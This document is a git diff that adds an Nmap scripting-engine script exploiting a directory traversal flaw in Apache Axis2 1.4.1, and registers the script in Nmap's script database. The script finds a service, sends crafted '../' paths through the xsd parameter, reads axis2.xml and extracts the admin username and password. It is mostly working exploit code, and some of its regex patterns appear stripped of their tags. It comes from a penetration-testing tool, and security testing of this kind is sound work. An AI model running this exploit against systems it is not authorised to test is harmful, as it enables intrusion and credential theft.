diff --git a/scripts/http-axis2-dir-traversal.nse b/scripts/http-axis2-dir-traversal.nse
new file mode 100644
index 000000000..05074c45a
--- /dev/null
+++ b/scripts/http-axis2-dir-traversal.nse
@@ -0,0 +1,188 @@
+description = [[
+http-axis2-dir-traversal exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by sending a specially crafted request to the parameter xsd (OSVDB-59001). By default it will try to retrieve the configuration file of the Axis2 service '/conf/axis2.xml' using the path '/axis2/services/' to return the username and password of the admin account.
+
+To exploit this vulnerability we need to detect a valid service running on the installation so we extract it from /listServices before exploiting the directory traversal vulnerability.
+By default it will retrieve the configuration file, if you wish to retrieve other files you need to set the argument http-axis2-dir-traversal.file correctly to traverse to the file's directory. Ex. ../../../../../../../../../etc/issue
+
+To check the version of an Apache Axis2 installation go to:
+http://domain/axis2/services/Version/getVersion
+
+Reference:
+* http://osvdb.org/show/osvdb/59001
+* http://www.exploit-db.com/exploits/12721/
+]]
+
+---
+-- @usage
+-- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue'
+-- nmap -p80 --script http-axis2-dir-traversal
+--
+-- @output
+-- 80/tcp open http syn-ack
+-- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2
+--
+-- @args http-axis2-dir-traversal.file Remote file to retrieve
+-- @args http-axis2-dir-traversal.outfile Output file
+-- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: /axis2/services/
+--
+-- Other useful arguments for this script:
+-- @args http.useragent User Agent used in the GET requests
+---
+
+author = "Paulino Calderon"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive", "exploit"}
+
+require "http"
+require "shortport"
+require "creds"
+
+portrule = shortport.http
+
+--Default configuration values
+local DEFAULT_FILE = "../conf/axis2.xml"
+local DEFAULT_PATH = "/axis2/services/"
+
+---
+--Checks the given URI looks like an Apache Axis2 installation
+-- @param host Host table
+-- @param port Port table
+-- @param path Apache Axis2 Basepath
+-- @return True if the string "Available services" is found
+local function check_installation(host, port, path)
+ local req = http.get(host, port, path)
+ if req.status == 200 and http.response_contains(req, "Available services") then
+ return true
+ end
+ return false
+end
+
+---
+-- Returns a table with all the available services extracted
+-- from the services list page
+-- @param body Services list page body
+-- @return Table containing the names and paths of the available services
+local function get_available_services(body)
+ local services = {}
+ for service in string.gfind(body, 'Service%sDescription%s:%s(.-)
') do
+ table.insert(services, service)
+ end
+
+ return services
+end
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+-- @param filename Filename to write
+-- @param contents Content of file
+-- @return True if file was written successfully
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+---
+-- Extracts Axis2's credentials from the configuration file
+-- It also adds them to the credentials library.
+-- @param body Configuration file string
+-- @return true if credentials are found
+-- @return Credentials or error string
+---
+local function extract_credentials(host, port, body)
+ local _,_,user = string.find(body, '(.-)')
+ local _,_,pass = string.find(body, '(.-)')
+
+ if user and pass then
+ local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port )
+ cred_obj:add(user, pass, creds.State.VALID )
+ return true, string.format("Admin credentials found -> %s:%s", user, pass)
+ end
+ return false, "Credentials were not found."
+end
+---
+--MAIN
+---
+action = function(host, port)
+ local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile")
+ local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE
+ local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH
+ local selected_service, output
+
+ --check this is an axis2 installation
+ if not(check_installation(host, port, basepath.."listServices")) then
+ stdnse.print_debug(1, "%s: This does not look like an Apache Axis2 installation.", SCRIPT_NAME)
+ return
+ end
+
+ output = {}
+ --process list of available services
+ local req = http.get( host, port, basepath.."listServices")
+ local services = get_available_services(req.body)
+
+ --generate debug info for services and select first one to be used in the request
+ if #services > 0 then
+ for _, servname in pairs(services) do
+ stdnse.print_debug(1, "%s: Service found: %s", SCRIPT_NAME, servname)
+ end
+ selected_service = services[1]
+ else
+ if nmap.verbosity() >= 2 then
+ stdnse.print_debug(1, "%s: There are no services available. We can't exploit this", SCRIPT_NAME)
+ end
+ return
+ end
+
+ --Use selected service and exploit
+ stdnse.print_debug(1, "%s: Querying service: %s", SCRIPT_NAME, selected_service)
+ req = http.get(host, port, basepath..selected_service.."?xsd="..rfile)
+ stdnse.print_debug(2, "%s: Query -> %s", SCRIPT_NAME, basepath..selected_service.."?xsd="..rfile)
+
+ --response came back
+ if req.status and req.status == 200 then
+ --if body is empty something wrong could have happened...
+ if string.len(req.body) <= 0 then
+ if nmap.verbosity() >= 2 then
+ print_debug(1, "%s:Response was empty. The file does not exists or the web server does not have sufficient permissions", SCRIPT_NAME)
+ end
+ return
+ end
+
+ output[#output+1] = "\nApache Axis2 Directory Traversal (OSVDB-59001)"
+
+ --Retrieve file or only show credentials if downloading the configuration file
+ if rfile ~= DEFAULT_FILE then
+ output[#output+1] = req.body
+ else
+ --try to extract credentials
+ local extract_st, extract_msg = extract_credentials(host, port, req.body)
+ if extract_st then
+ output[#output+1] = extract_msg
+ else
+ stdnse.print_debug(1, "%s: Credentials not found in configuration file", SCRIPT_NAME)
+ end
+ end
+
+ --save to file if selected
+ if outfile then
+ local status, err = write_file(outfile, req.body)
+ if status then
+ output[#output+1] = string.format("%s saved to %s\n", rfile, outfile)
+ else
+ output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err)
+ end
+ end
+ else
+ stdnse.print_debug(1, "%s: Request did not return status 200. File might not be found or unreadable", SCRIPT_NAME)
+ return
+ end
+
+ if #output > 0 then
+ return stdnse.strjoin("\n", output)
+ end
+end
diff --git a/scripts/script.db b/scripts/script.db
index 8919d2fdc..37987447c 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -67,6 +67,7 @@ Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "s
Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } }
Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } }
Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } }
+Entry { filename = "http-axis2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "http-barracuda-dir-traversal.nse", categories = { "auth", "exploit", "intrusive", } }
Entry { filename = "http-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "http-cakephp-version.nse", categories = { "discovery", "safe", } }